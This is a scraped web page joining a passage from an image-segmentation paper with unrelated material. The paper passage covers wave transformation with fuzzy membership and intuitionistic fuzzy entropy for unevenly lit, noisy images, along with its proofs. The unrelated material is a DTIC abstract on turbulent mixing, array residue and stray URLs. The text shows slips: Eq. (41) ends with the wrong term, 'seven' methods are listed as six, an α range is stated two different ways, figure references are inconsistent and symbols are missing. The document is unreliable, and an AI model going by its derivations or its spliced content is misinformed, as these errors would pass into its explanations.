$${\\varPsi}_{d_V}(f)$$ of the image can be obtained in the same way. To integrate the two membership matrices, $${\\varPsi}_{d_H}(f)$$ and $${\\varPsi}_{d_V}(f)$$, we take consider the non-local space information of each pixel, namely, the weight matrix of pixels as follows. Let $${\\varPsi}_{d_H}\\left({x}_k,{y}_k\\right)$$ and $${\\varPsi}_{d_V}\\left({x}_k,{y}_k\\right)$$ represent the membership degrees (wave vectors) of the pixel k located at (x k , y k ) in the d H and d V directions. The weight matrix of the pixel k is $$\\left\\{v\\left(k,j\\right)\\right\\},\\left(\\left({x}_k,{y}_i\\right)\\in {V}_k^r\\right)$$. The wave transformation value of the pixel k in the directions d H and d L with space information is modified by:\n\n$${G}_{d_H}^{{\\prime\\prime}}\\left({x}_k,{y}_k\\right)=\\frac{\\sum \\limits_{\\left({x}_j,{y}_j\\right)\\in {V}_k^{r^{\\prime }}}v\\left(k,j\\right){\\varPsi}_{d_H}\\left({x}_j,{y}_j\\right)}{\\sum \\limits_{\\left({x}_j,{y}_j\\right)\\in {V}_k^{r^{\\prime }}}v\\left(k,j\\right)},$$\n(20)\n$${G}_{d_L}^{{\\prime\\prime}}\\left({x}_k,{y}_k\\right)=\\frac{\\sum \\limits_{\\left({x}_j,{y}_j\\right)\\in {V}_k^{r^{\\prime }}}v\\left(k,j\\right){\\varPsi}_{d_L}\\left({x}_j,{y}_j\\right)}{\\sum \\limits_{\\left({x}_j,{y}_j\\right)\\in {V}_k^{r^{\\prime }}}v\\left(k,j\\right)},$$\n(21)\n\nwhere $${V}_k^{r^{\\prime }}$$ denotes a search window of radius r (here, we set a search window of radius r  = 1) centered at the pixel (x k , y k ). The final local membership value of the pixel k located at (x k , y k ) is computed by the memberships in the two directions as follows:\n\n$${\\varPsi}^{\\prime}\\left({x}_k,{y}_k\\right)=\\left({G}_{d_H}^{{\\prime\\prime}}\\left({x}_k,{y}_k\\right)+{G}_{d_L}^{{\\prime\\prime}}\\left({x}_k,{y}_k\\right)\\right)/2.$$\n(22)\n\nTheorem 3. Suppose the gray level of a pixel (x, y) in the uneven lighting image f δ is constituted by f δ (x, y) = f(x, y) + δ(x, y), where f(x, y) is the original intensity of (x, y) in the image with even light, and δ(x, y) is the intensity of the uneven light in (x, y). Given that δ(x, y) remains approximately constant in a local sub-region, the integration of the horizontal and vertical transformation values of each pixel in the original image f with its non-local information is approximately equal to that of each pixel in the uneven lighting image f δ , namely, $${\\varPsi}_{\\delta}^{\\prime}\\left({x}_k,{y}_k\\right)\\approx {\\varPsi}^{\\prime}\\left({x}_k,{y}_k\\right)$$ .\n\nTheorem 3 indicates that the addition of the non-local space information does not change the uneven light intensity, and the integration of the horizontal and vertical wave transformation values with the non-local space information can reduce the influence of the uneven light on the image segmentation.\n\nAfter calculating all the local membership values of pixels in the image according to the abovementioned method, we obtain the final 2D wave transformation matrix. In the matrix, the characteristic of a pixel is represented by the relative vector (the local membership value) only related to its sub-region in order to reduce the lighting difference between two neighborhood sub-regions. At the same time, the non-local information is incorporated to overcome the influence of the local high-frequency signal on the establishment of the membership matrix. That is, although the membership degrees of pixels to the local peaks substitute the gray levels as a new expression of pixels, they do not separate with the original gray level and space information completely. Last, the membership matrix Ψ will be classified using IFS entropy to obtain a final segmented image.\n\n### Segmentation of transformed image using intuitionistic fuzzy set\n\nWe apply L level quantization on the membership matrix Ψ (x, y) of size M × N to obtain a new matrix I (x, y), which is also called wave transformation image. Then, the image is modeled based on intuitionistic fuzzy set . Suppose the image I (x, y) has L gray levels G x  = {0, 1, , L − 1}, and its histogram is H = {h 0, h 1, …, h L − 1}. Let the 1D sample space X = G x  = {0, 1, , L − 1}, and p is the probability of a gray level, i.e., p({i}) = h i ,  i = 0, 1, , L − 1, where i is the quantization level.\n\nThe image can be considered as an array of fuzzy singletons according to Pal and King . With regard to an image property, each element of the array represents the membership value of the gray level l. Then, the image can be represented as the fuzzy set: $$\\tilde{A}=\\left\\{<l,{\\mu}_{\\tilde{A}}(l)>|l\\in \\left\\{0,1,\\dots, L-1\\right\\}\\right\\}$$. To segment images, we use Vlachos’s method by taking into consideration the property of $${\\mu}_{\\tilde{A}}(l)$$ as the distance of each level from the means of their corresponding classes. Specifically, the membership degree $${\\mu}_{\\tilde{A}}(l)$$ of each pixel is determined by an exponential membership function in Eq. (10). Its corresponding membership and non-membership functions in Eq. (6) are given by\n\n$${\\mu}_A\\left(l;t\\right)={\\lambda \\mu}_A\\left(l;t\\right),\\kern0.5em {v}_A\\left(l;t\\right)={\\left(1-{\\mu}_A\\left(l;t\\right)\\right)}^{\\lambda },$$\n(23)\n\nwhere λ [0, 1], and we set λ = 0.9 in this paper. Therefore, the image is represented in the intuitionistic fuzzy domain as follows: A = {<l, μ A (l), v A (l)>| l {0, …, L − 1}}. Then, we use the intuitionistic entropy in Eq. (8) defined by Burillo and Bustince by means of the following expression:\n\n$${E}_{IFS}\\left(A;t\\right)=\\frac{1}{\\mathrm{M}\\times \\mathrm{N}}\\sum \\limits_{l=1}^{L-1}{h}_A(l)\\left(1-{\\mu}_A\\left(l;t\\right)-{v}_A\\left(l;t\\right)\\right),$$\n(24)\n\nwhere M × N is the image dimensions in pixels. The potential idea of the described approach is that the optimal set has the least value of entropy E IFS(A; t), and its corresponding IFS can represent the image more efficiently with the least uncertainty. That is, the minimum entropy corresponds to optimal image segmentation. Therefore, the optimization criterion can be formulated as $${t}_{\\mathrm{opt}}=\\mathrm{Arg}\\underset{t}{\\min}\\left\\{{E}_{\\mathrm{IFS}}\\left(A;t\\right)\\right\\}$$. The detailed steps of our method are described in the form of a flowchart as shown in Fig. 5.\n\n## Results and discussion\n\n### Performance of wave transformation using the fuzzy membership function\n\nFirst, we use the uneven lighting rice image to test the process of wave transformation using the fuzzy membership function. As shown in Fig. 6a, there is a dark region in the lower part of the rice image, where the overall gray level in the region is lower than that in the upper region of the image. Figure 6b shows the gray levels of the pixels in 45th–50th columns, namely, the pixels in the red rectangle of Fig. 6g. If we want to give consideration to both of the regions with different light intensities, it is difficult to find a single global threshold, such as T 1 and T 2 in Fig. 6g, which can extract all of the “rice” objects. As shown in Fig. 6c, without wave transformation, some “rice” objects in the darkened regions are extracted by the IFS entropy-based method with a threshold T = 160.\n\nThen, the proposed method is applied on the test image, with α = 60 (see in Eq. (13)) for the search of peaks and troughs in S4. Several peaks and the troughs of the 45th column are searched for in Fig. 6e of the rice image, where the symbol “” represents the peaks and the symbol “” represents the troughs. The local membership values (wave transformation values) of the 45th column are obtained in Fig. 6f by the S-function. It is obvious that all of the peaks and troughs are respectively located in the same horizontal lines. The local characteristics of other pixels are represented by their locations in the sub-regions.\n\nFigure 6h shows the wave transformation result of 45th–50th columns. Figure 6b shows the transformation image of the rice image. It is obvious that the dark region in the lower part of the rice image is appropriately lightened to the same as the upper part of the rice image. Thus, a threshold of 167 can be easily found by the IFS entropy in S, and all of the “rice” objects are extracted by the IFS entropy-based method, as shown in Fig. 6d. Moreover, the threshold of 167 corresponds to a membership degree of $$167\\cdot \\frac{1}{L}=0.6523$$ because the transformation image is obtained by applying L = 256 level quantization on the membership matrix.\n\n### Performance of the revision of the wave transformation values using edge information\n\nIn this section, we test the process of the revision of the wave transformation value using edge information. Taking the uneven lighting mouse image used in Section 3.2.2 for example, the two pure background sub-regions (T 1, P 1) and (P 2, T 3) in the 160th row are extracted due to its large variation of light intensity with α = 60. The wave transformation values (the membership degrees) of the pixel in these regions vary from 0 to 1, according to Eq. (14) (see Fig. 7b2). Consequently, some pixels will be misclassified as objects, as shown in Fig. 7b3, according to the principle that the pixels close by the peak or the trough correspond to different classes.\n\nFigure 7c2 shows the gray wave transformation of the 160th row when the edge information is taken into account by Eq. (19), with T = 800. For the pixels in the pure background sub-regions without edge information, i.e., k [T 1, P 1] or k [P 2, T 3], the transformation values are set to 1, namely, the value of the background $${G}_{\\mathrm{Row}\\_{160}^{\\mathrm{th}}}^{\\prime }(k)=\\mathrm{background}=1$$. For the pixels in the sub-regions k [P 1, T 2] or k [T 2, P 2] with edge information, the transformation values are unchanged, i.e., $${G}_{\\mathrm{Row}\\_{160}^{\\mathrm{th}}}^{\\prime }(k)={G}_{\\mathrm{Row}\\_{160}^{\\mathrm{th}}}(k)$$. Figure 7b1, c1 shows the corresponding gray wave transformation images of Fig. 7b2, c2. It is obvious that the transformation image in Fig. 7c1 agrees with the actual requirement more than that in Fig. 7b1. Figure 7b3, c3 shows the segmented images before and after adding edge information. Apparently, when the edge information is taken into account, the proposed method can obtain a better segmented result.\n\n### Performance of segmentation of uneven lighting images with noise injection\n\nTo prove the effectiveness of our method for uneven lighting images with strong noise injection, experimental tests are implemented on six uneven illumination images corrupted by the Gaussian noise. The intensity value of the pixel in these images varies from 0 to 255, namely, L = 256. In the experiments, several classical local methods, Bernsen’s method , Niblack’s method , and Sauvola’s method ; related works for the local methods, Bradley’s method , Chou’ s method , and Valizadeh’s method ; based on an improved water flow model-based method, Wei’s method ; and several related global two-dimensional methods with space information, the two-dimensional Otsu method (2DOtsu) proposed by Liu et al., the fuzzy c-means clustering algorithm with nonlocal spatial information (FCM_NLS) proposed by Zhao et al., and the two-dimensional weak fuzzy partition entropy-based method (2DWFPE) proposed by Yu et al. are implemented on the test images, and their results are compared with our method.\n\nThe parameter settings for these methods are as follows. Bernsen’s method uses a 93 × 93 neighborhood. Niblack’s method uses a 50 × 50 neighborhood with k =  − 0.2. Sauvola’s method uses a 50 × 50 neighborhood with k = 0.2. Bradley’s method uses a 30 × 30 neighborhood. Valizadeh’s method uses the parameter W = 2. Chou’s method uses a mean threshold of 128 and a variance threshold of 10 with a block size 3 × 3. Wei’s method uses the parameter α = 60. FCM_NLS uses the parameter β = 10. Specifically, for the parameters of the non-local filter in our method and FCM_NLS, we set r = 5, a = 2, and h = 15 for the fingerprint image and r = 5, a = 2, and h = 30 for the other images.\n\nFigures 8, 9, 10, 11, 12, and 13 show six test images, their noisy images (corrupted by the Gaussian noise), their corresponding ground-truths (hand-labeled by people), and their binarized results. Taking the rice image for example, the segmentation results of the local methods are presented in Fig. 8d–h. Although the seven local methods of Bernsen, Niblack, Sauvola, Bradley, Chou, and Valizadeh perform in the foreground areas (objects), they create much of the pepper noise in the background areas. Although Wei’s method uses wave transformation to reduce the uneven light, it still leads to a bad result since it does not take into account the space information. Simultaneously, the global methods 2DOtsu and FCM_NLS, which have relative good performance in anti-noise interference, cannot extract some “rice” objects in the dark regions. 2DWFPE is our previously proposed method which maximizes weak fuzzy partition entropy on the two-dimensional histogram to obtain optimum segmentation results. The global method can improve the segmentation effect for noisy images, but it only uses the absolute characteristic (the gray level) of the pixel and thus cannot deal well with uneven lighting images. However, the method proposed in this paper uses the relative characteristic of the pixel in local sub-regions to reduce the influence of uneven light and non-local spatial information to avoid noise interference. Thus, it can obtain the best results for uneven lighting images with noisy injection, as shown in Fig. 8k.\n\nTo evaluate the effectiveness of these segmentation methods, we use a supervised evaluation method, i.e., misclassification error (ME) . ME can be expressed as ME = 1 − (| B o  ∩ B T |  + | F o  ∩ F T | )/(| B o |  + | F o | ) through a comparison of a segmented image and a ground-truth image, where is the cardinality of the set, F T and B T represent the foreground and background area pixels of the segmented image, and F o and B o represent the foreground and background area pixels of the ground-truth image. The evaluation values ME of these segmentation methods are shown in Table 1. The effect of local thresholding methods is poor since they are very sensitive to noise. Figures 9, 10, 11, 12, and 13 show the results for the rest of the images. The global 2DOtsu, FCM_NLS, and 2DWFPE methods still cannot correctly extract all of the objects. However, our method takes the spatial information and gradient information into account in the wave transformation, thus obtaining the best results and the lowest misclassification rate.\n\n### Influence of the parameters α and T\n\nThe parameters α and T are very important in our method. The value of α determines the search of local peaks and troughs in Eq. (13) (see Section 3.2.2), namely, the search of local sub-regions. Meanwhile, the value of T determines the extraction of edge information in Eq. (19) (see Section 3.2.2). To study the influence of the parameters α and T, we draw the ME curves with varying parameters α and T on three test images, as shown in Figs. 14 and 15. Moreover, we compare the segmentation results with ME = 0.05 as the reference value. For the rice image with the Gaussian noise (0,0.010) in Fig. 15a, it can be found that ME under each α value within [22,120] is smaller than 0.05 and presents no apparent changes, which indicates that we can obtain relatively satisfactory segmented results in this case. That is, too small or too big of an α cannot extract the objects from the background correctly. Therefore, a reasonable value of α has an important influence on the wave transformation value of each pixel, and thus on the segmentation results.\n\nActually, the value of α seriously depends on the gray difference between the objects and the background in the dark regions. In most cases, the larger the gray level difference of the objects and the background in the dark regions, the larger the reasonable value of α and the larger the range in which α can take value in, and vice versa. That is, the smaller the degree of uneven lighting, the larger the range in which α can take value in. Under the condition of the Gaussian noise (0,0.010), if we want to obtain a ME value smaller than 0.05, α can take value in [22, 120] for the rice image as shown in Fig. 14a, and α can take value in [20, 220] for the license-plate image as shown in Fig. 15b. However, for the mouse image, α only can take value in [40, 80] for the relatively satisfactory results in Fig. 15a. Moreover, the ME value also depends on many factors, such as the proportion of the dark regions in the whole image and the intensity of local illumination variation.\n\nNoise injection also has an important influence on the segmentation performance especially on the dark region with a small gray difference between the objects and the background. To reduce the influence of noise injection on the search of local peaks and troughs and differentiate the objects and the background in the dark regions, the reasonable range of α is narrowed with increasing noise strength. Taking the rice image for example, in order to obtain a ME value smaller than 0.05, the reasonable range of the parameter α under the condition of the Gaussian noise (0,0.020) is [42, 125], which is narrower than the range [22, 125] of α under the condition of the Gaussian noise (0,0.010), as shown in Fig. 14a, b.\n\nThe segmentation results of our method also depend on the edge detection with the parameter T in Eq. (19). For the rice image, three curves with the parameter T respectively equal to 600, 800, and 1000 tend to change similarly with the parameter α. However, a reasonable parameter T is crucial to the segmentation performance for the mouse image that has relatively more serious uneven light. As shown in Fig. 15a, the ME value with T = 600 is bigger than 0.05, since incomplete edge information leads to some incorrect computation of local memberships and consequently bad segmentation results.\n\nIn conclusion, the parameter selection of our method is affected by multiple factors, such as the noise strength, the degree of uneven lighting, and the gray difference between objects and the background. However, the above experimental results show that the intervals [60, 80] and [800, 1000] may be two reasonable ranges respectively for α and T to take value in. Moreover, when the light intensity of the sub-regions becomes darker, the value of the two parameters should decrease properly.\n\n## Conclusions\n\nIn this paper, we presented a novel algorithm for the segmentation of uneven background lighting images with strong noise injection. We first treated the image as a gray wave in three-dimensional space and extracted grayscale wave curves in the horizontal and vertical directions. Then, we applied wave transformation on the curves using fuzzy membership to obtain the relative characteristic of each pixel in order to reduce the influence of the uneven background lighting. Simultaneously, the non-local spatial weight matrix and edge information were also taken into account in the transformation in order to improve the robustness of the transformation to noise injection and avoid false peak and trough labeling. Finally, we segmented the wave transformation image using intuitionistic fuzzy theory. In different experiments, our algorithm demonstrated superior performance against some well-known algorithms on several uneven background lighting images.\n\nAlthough the proposed algorithm for uneven lighting image segmentation has some advantages, there are still two problems requiring further study. The first critical problem is the selection of the parameter α. The parameter α is set manually based on experience in this paper. Therefore, further research on the automatic determination of α with consideration of both the uneven lighting background and noise injection is necessary. The second problem is the detection of edge information for a noisy image. The edge information has an important impact on the wave transformation of pixels in an uneven lighting image. In this paper, we used two 5 × 5 Sobel models for the edge detection. However, when we used a given global threshold T to extract the edge information, there were still small noise edges being detected in some cases. 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Imaging. 13(1), 146–168 (2004)\n\n## Acknowledgements\n\nThis work was supported in by the National Natural Science Foundation of China (Nos. 61102095, 61671377, 61571361, 61340040, 61601362), Natural Science Basic Research Plan in Shaanxi Province of China (No. 2012JQ8045), and Special Research Project of Shaanxi Department of Education (No. 2013JK1131).\n\n## Author information\n\nAuthors\n\n### Corresponding author\n\nCorrespondence to Haiyan Yu.\n\n## Ethics declarations\n\n### Competing interests\n\nThe authors declare that they have no competing interests.\n\n### Publisher’s Note\n\nSpringer Nature remains neutral with regard to jurisdictional claims in published maps and institutional affiliations.\n\n## Appendix\n\n### Proof of Theorem 1\n\nGiven a pixel (x k , y k ) in an uneven lighting image f δ , where (x k , y k ) represents the original coordinate of the kth pixel, the square neighborhood N δ, k and N δ, j centered at two pixels (x k , y k ) and (x j , y j ) respectively are:\n\n$${N}_{\\delta, k}={N}_k+{\\delta}_k,\\kern0.5em {N}_{\\delta, j}={N}_j+{\\delta}_j.$$\n(25)\n\nSince the intensity of the uneven light δ remains approximately constant in a local region, then,\n\n$${\\delta}_k\\approx {\\delta}_j.$$\n(26)\n\nAccording to Eq. (12), the weight v(k, j) between two pixels (x k , y k ) and (x j , y j ) in the original even lighting image f is:\n\n$$v\\left(k,j\\right)=\\frac{\\exp \\left(-{\\left\\Vert {N}_k-{N}_j\\right\\Vert}_{2,a}^2/{h}^2\\right)}{\\sum \\limits_{j\\in {V}_k^r}{e}^{-\\left({\\left\\Vert {N}_k-{N}_j\\right\\Vert}_{2,a}^2\\right)/{h}^2}}.$$\n(27)\n\nMoreover, the weight v(k, j) between the two pixels (x k , y k ) and (x j , y j ) in the uneven lighting image f δ is:\n\n$$\\begin{array}{cc}{v}_{\\delta}\\left(k,j\\right)& =\\frac{\\exp \\left(-{\\left\\Vert {N}_{\\delta, k}-{N}_{\\delta, j}\\right\\Vert}_{2,a}^2/{h}^2\\right)}{\\sum \\limits_{j\\in {V}_k^r}{e}^{-\\left({\\left\\Vert {N}_{\\delta, k}-{N}_{\\delta, j}\\right\\Vert}_{2,a}^2\\right)/{h}^2}}=\\frac{\\exp \\left(-{\\left\\Vert \\left({N}_k+{\\delta}_k\\right)-\\left({N}_j+{\\delta}_j\\right)\\right\\Vert}_{2,a}^2/{h}^2\\right)}{\\sum \\limits_{j\\in {V}_k^r}{e}^{-\\left({\\left\\Vert \\left({N}_k+{\\delta}_k\\right)-\\left({N}_j+{\\delta}_j\\right)\\right\\Vert}_{2,a}^2\\right)/{h}^2}}\\\\ {}& \\approx \\frac{\\exp \\left(-{\\left\\Vert {N}_k-{N}_j\\right\\Vert}_{2,a}^2/{h}^2\\right)}{\\sum \\limits_{j\\in {V}_k^r}{e}^{-\\left({\\left\\Vert {N}_k-{N}_j\\right\\Vert}_{2,a}^2\\right)/{h}^2}}=v\\left(k,j\\right)\\end{array}}.$$\n(28)\n\nThat is to say that, the weight matrix for the pixel Q(x k , y k ) in the uneven lighting image f δ is approximately equal to the weight matrix for the pixel Q(x k , y k ) in the original image f, namely, v δ (k, j) ≈ v(k, j).\n\nAccording to Eq. (11), the estimated value $$\\overline{Q}\\left({x}_k,{y}_k\\right)$$ of the pixel (x k , y k ) in the original even lighting image f is computed as:\n\n$$\\overline{Q}\\left({x}_k,{y}_k\\right)=\\sum \\limits_{\\left({x}_j,{y}_j\\right)\\in {V}_k^r}v\\left(k,j\\right)Q\\left({x}_j,{y}_j\\right).$$\n(29)\n\nThen the estimated value $${\\overline{Q}}_{\\delta}\\left({x}_k,{y}_k\\right)$$ of the pixel (x k , y k ) in the uneven lighting image f δ is computed by:\n\n$$\\begin{array}{c}{\\overline{Q}}_{\\delta}\\left({x}_k,{y}_k\\right)\\kern0.5em =\\sum \\limits_{\\left({x}_j,{y}_j\\right)\\in {V}_k^r}{v}_{\\delta}\\left(k,j\\right){Q}_{\\delta}\\left({x}_j,{y}_j\\right)=\\sum \\limits_{\\left({x}_j,{y}_j\\right)\\in {V}_k^r}v\\left(k,j\\right){Q}_{\\delta}\\left({x}_j,{y}_j\\right)\\\\ {}\\begin{array}{cc}& =\\sum \\limits_{\\left({x}_j,{y}_j\\right)\\in {V}_k^r}v\\left(k,j\\right)\\left(Q\\left({x}_j,{y}_j\\right)+\\delta \\left({x}_j,{y}_j\\right)\\right)\\end{array}\\\\ {}\\begin{array}{cc}& =\\sum \\limits_{\\left({x}_j,{y}_j\\right)\\in {V}_k^r}v\\left(k,j\\right)Q\\left({x}_j,{y}_j\\right)+\\sum \\limits_{\\left({x}_j,{y}_j\\right)\\in {V}_k^r}v\\left(k,j\\right)\\delta \\left({x}_j,{y}_j\\right)\\end{array}\\end{array}}.$$\n(30)\n\nSince the weight matrix satisfies the condition: $$\\sum \\limits_{j\\in {V}_k^r}v\\left(k,j\\right)=1$$ (see in Section 3.2.1) and the intensity in the local region remains approximately constant, i.e., δ(x k , y k ) ≈ δ(x j , y j ), it is obtained that:\n\n$$\\sum \\limits_{\\left({x}_j,{y}_j\\right)\\in {V}_k^r}v\\left(k,j\\right)\\delta \\left({x}_j,{y}_j\\right)\\approx \\delta \\left({x}_k,{y}_k\\right).$$\n(31)\n\nEq.(31) is brought into Eq. (30), and it follows that:\n\n$${\\overline{Q}}_{\\delta}\\left({x}_k,{y}_k\\right)\\approx \\overline{Q}\\left({x}_k,{y}_k\\right)+\\delta \\left({x}_k,{y}_k\\right).$$\n(32)\n\nThen the theorem holds.\n\n### Proof of Theorem 2\n\nGiven G(k) is a wave gray curve in an arbitrary direction of the image f, with k = 0, 1, …, K. ϕ s is the sth local sub-region of the curve, where T s and P s are the trough and the peak of the region, respectively. q = g(k) is the gray level of the pixel k [T s , P s ].\n\nThe gray level of the trough T s , the peak P s , and an arbitrary pixel k in the sub-region ϕ s in the uneven lighting image f δ are respectively:\n\n$${g}_{\\delta}\\left({T}_s\\right)=g\\left({T}_s\\right)+\\delta \\left({T}_s\\right),\\kern0.5em {g}_{\\delta}\\left({P}_s\\right)=g\\left({P}_s\\right)+\\delta \\left({P}_s\\right),\\kern0.5em {g}_{\\delta }(k)=g(k)+\\delta (k).$$\n(33)\n\nSince the intensity of the uneven light δ(x, y) remains approximately constant in each sub-region, then\n\n$$\\delta \\left({T}_s\\right)\\approx \\delta \\left({P}_s\\right)\\approx \\delta (k).$$\n(34)\n\nIf g(T s ) ≤ g(k) ≤ (g(T s ) + g(P s ))/2, the membership degree (the wave transformation value) of the pixel k in the original even lighting image f according to the S-function in Eq. (14) is\n\n$$\\mu \\left(g(k)\\right)=2{\\left(\\frac{g(k)-g\\left({T}_s\\right)}{g\\left({P}_s\\right)-g\\left({T}_s\\right)}\\right)}^2.$$\n(35)\n\nThe membership degree (the wave transformation value) of the pixel k in the uneven lighting image f δ according to the S-function in Eq. (14) is\n\n$$\\begin{array}{cc}{\\mu}_{\\delta}\\left(g(k)\\right)& =2{\\left(\\frac{g_{\\delta }(k)-{g}_{\\delta}\\left({T}_s\\right)}{g_{\\delta}\\left({P}_s\\right)-{g}_{\\delta}\\left({T}_s\\right)}\\right)}^2=2{\\left(\\frac{\\left(g(k)+\\delta (k)\\right)-\\left(g\\left({T}_s\\right)+\\delta \\left({T}_s\\right)\\right)}{\\left(g\\left({P}_s\\right)+\\delta \\left({P}_s\\right)\\right)-\\left(g\\left({T}_s\\right)+\\delta \\left({T}_s\\right)\\right)}\\right)}^2\\\\ {}& \\approx 2{\\left(\\frac{g(k)-g\\left({T}_s\\right)}{g\\left({P}_s\\right)-g\\left({T}_s\\right)}\\right)}^2=\\mu \\left(g(k)\\right)\\end{array}}.$$\n(36)\n\nThat is, μ δ (g(k)) ≈ μ(g(k)), when g(T s ) ≤ g(k) ≤ (g(T s ) + g(P s ))/2.\n\nSimilarly, if (g(T s ) + g(P s ))/2 < g(k) ≤ g(P s ), the membership degree of the pixel k in the original even lighting image f according to the S-function in Eq. (14) is\n\n$$\\mu \\left(g(k)\\right)=1-2{\\left(\\frac{g(k)-g\\left({P}_s\\right)}{g\\left({P}_s\\right)-g\\left({T}_s\\right)}\\right)}^2.$$\n(37)\n\nThe membership degree of the pixel k in the uneven lighting image f δ according to the S-function in Eq. (14) is\n\n$$\\begin{array}{cc}{\\mu}_{\\delta}\\left(g(k)\\right)& =1-2{\\left(\\frac{g_{\\delta }(k)-{g}_{\\delta}\\left({P}_s\\right)}{g_{\\delta}\\left({P}_s\\right)-{g}_{\\delta}\\left({T}_s\\right)}\\right)}^2=1-2{\\left(\\frac{\\left(g(k)+\\delta (k)\\right)-\\left(g\\left({P}_s\\right)+\\delta \\left({P}_s\\right)\\right)}{\\left(g\\left({P}_s\\right)+\\delta \\left({P}_s\\right)\\right)-\\left(g\\left({T}_s\\right)+\\delta \\left({T}_s\\right)\\right)}\\right)}^2\\\\ {}& \\approx 1-2{\\left(\\frac{g(k)-g\\left({P}_s\\right)}{g\\left({P}_s\\right)-g\\left({T}_s\\right)}\\right)}^2=\\mu \\left(g(k)\\right)\\end{array}}.$$\n(38)\n\nThat is, μ δ (g(k)) ≈ μ(g(k)), when (g(T s ) + g(P s ))/2 < g(k) ≤ g(P s ).\n\nTherefore, μ δ (g(k)) ≈ μ(g(k)) for each pixel k in the sub-region ϕ s  = [T s , P s ]. Then, according to Eq. (2) and Eq. (3), it is concluded that two transformation matrices for the hole image satisfy the condition Ψ δ (f) ≈ Ψ(f).\n\nThen the theorem holds.\n\n### Proof of Theorem 3\n\nGiven an pixel (x k , y k ) in an uneven lighting image f δ , where (x k , y k ) represents the original coordinate of the kth pixel, v δ (k, j) is the weight matrix for the pixel (x k , y k ).\n\nThe wave transformation value of the pixel k in the original image f in the directions d H with space information is modified by:\n\n$${G}_{d_H}^{{\\prime\\prime}}\\left({x}_k,{y}_k\\right)=\\frac{\\sum \\limits_{\\left({x}_j,{y}_j\\right)\\in {V}_k^{r^{\\prime }}}v\\left(k,j\\right){\\varPsi}_{d_H}\\left({x}_j,{y}_j\\right)}{\\sum \\limits_{\\left({x}_j,{y}_j\\right)\\in {V}_k^{r^{\\prime }}}v\\left(k,j\\right)}.$$\n(39)\n\nThe wave transformation value of the pixel k in the original image f δ in the directions d H with space information is modified by:\n\n$${G}_{\\delta, {d}_H}^{{\\prime\\prime}}\\left({x}_k,{y}_k\\right)=\\frac{\\sum \\limits_{\\left({x}_j,{y}_j\\right)\\in {V}_k^{r^{\\prime }}}{v}_{\\delta}\\left(k,j\\right){\\varPsi}_{\\delta, {d}_H}\\left({x}_j,{y}_j\\right)}{\\sum \\limits_{\\left({x}_j,{y}_j\\right)\\in {V}_k^{r^{\\prime }}}{v}_{\\delta}\\left(k,j\\right)}.$$\n(40)\n\nAccording to Theorem 1 and Theorem 2, we can get v δ (k, j) ≈ v(k, j) and $${\\varPsi}_{\\delta, {d}_H}\\left({x}_j,{y}_j\\right)\\approx {\\varPsi}_{d_H}\\left({x}_j,{y}_j\\right)$$. Then, it follows that\n\n$${G}_{\\delta, {d}_H}^{{\\prime\\prime}}\\left({x}_k,{y}_k\\right)\\approx \\frac{\\sum \\limits_{\\left({x}_j,{y}_j\\right)\\in {V}_k^{r^{\\prime }}}v\\left(k,j\\right){\\varPsi}_{d_H}\\left({x}_j,{y}_j\\right)}{\\sum \\limits_{\\left({x}_j,{y}_j\\right)\\in {V}_k^{r^{\\prime }}}v\\left(k,j\\right)}={G}_{\\delta, {d}_H}^{{\\prime\\prime}}\\left({x}_k,{y}_k\\right).$$\n(41)\n\nSimilarly, we can get $${G}_{\\delta, {d}_L}^{{\\prime\\prime}}\\left({x}_k,{y}_k\\right)\\approx {G}_{\\delta, {d}_L}^{{\\prime\\prime}}\\left({x}_k,{y}_k\\right)$$ for the pixels in the vertical direction d L . Then, according to Eq. (22), the integration of two transformation values, $${G}_{\\delta, {d}_H}^{{\\prime\\prime}}\\left({x}_k,{y}_k\\right)$$ and $${G}_{\\delta, {d}_L}^{{\\prime\\prime}}\\left({x}_k,{y}_k\\right)$$, of each pixel (x k , y k ) is computed by:\n\n$$\\begin{array}{l}{\\varPsi}_{\\delta}^{\\prime}\\left({x}_k,{y}_k\\right)=\\frac{G_{\\delta, {d}_H}^{{\\prime\\prime}}\\left({x}_k,{y}_k\\right)+{G}_{\\delta, {d}_L}^{{\\prime\\prime}}\\left({x}_k,{y}_k\\right)}{2}\\approx \\frac{G_{d_H}^{{\\prime\\prime}}\\left({x}_k,{y}_k\\right)+{G}_{d_L}^{{\\prime\\prime}}\\left({x}_k,{y}_k\\right)}{2}.\\\\ {}\\kern1.50em ={\\varPsi}^{\\prime}\\left({x}_k,{y}_k\\right)\\end{array}}$$\n(42)\n\nTherefore, $${\\varPsi}_{\\delta}^{\\prime}\\left({x}_k,{y}_k\\right)\\approx {\\varPsi}^{\\prime}\\left({x}_k,{y}_k\\right)$$. Then the theorem holds.\n\n## Rights and permissions", null, "" ]
[ null, "https://asp-eurasipjournals.springeropen.com/track/article/10.1186/s13634-017-0509-5", null ]
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https://apps.dtic.mil/sti/citations/AD0705578
[ "# Abstract:\n\nA study was made on applying the turbulent kinetic energy approach to inhomogeneous two-stream turbulent mixing calculations and to calculations of a two-dimensional symmetric wake. Mixing calculations are made and compared with experimental data for coaxial hydrogen-air and air-air mixing flows. The turbulent kinetic energy equation is transformed into a transport equation for the turbulent shear stress by assuming that the turbulent shear stress is directly proportional to the turbulent kinetic energy. A flux model is assumed for the lateral diffusion of turbulent kinetic energy. The energy dissipation is modeled to a form similar to that derived for isotropic turbulence. Mass and energy transport are incorporated to the analysis by assuming the Prandtl and Lewis numbers to be unity. The resulting set of partial differential equations is hyperbolic and the method of characteristics are chosen for their solution. The theoretical method inherently incorporates history of the turbulent structure in the calculations which is physically more acceptable than turbulent structure models based on local flow properties. The results show that the turbulent kinetic energy approach is quite applicable to two-stream mixing problems, although the method requires further development before it is useful for routine engineering calculations. Calculations for a wake behind a flat plate are made and found to compare well with experimental data. The flux model for the diffusion of turbulent kinetic energy and the energy dissipation model were found to produce results which agree well with experimental data for both the mixing jet and the wake.\n\n# Subject Categories:\n\n• Aerodynamics\n• Fluid Mechanics" ]
[ null ]
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https://socratic.org/questions/what-is-the-formula-weight-of-silver-chromate-ag-2cro-4-in-amu
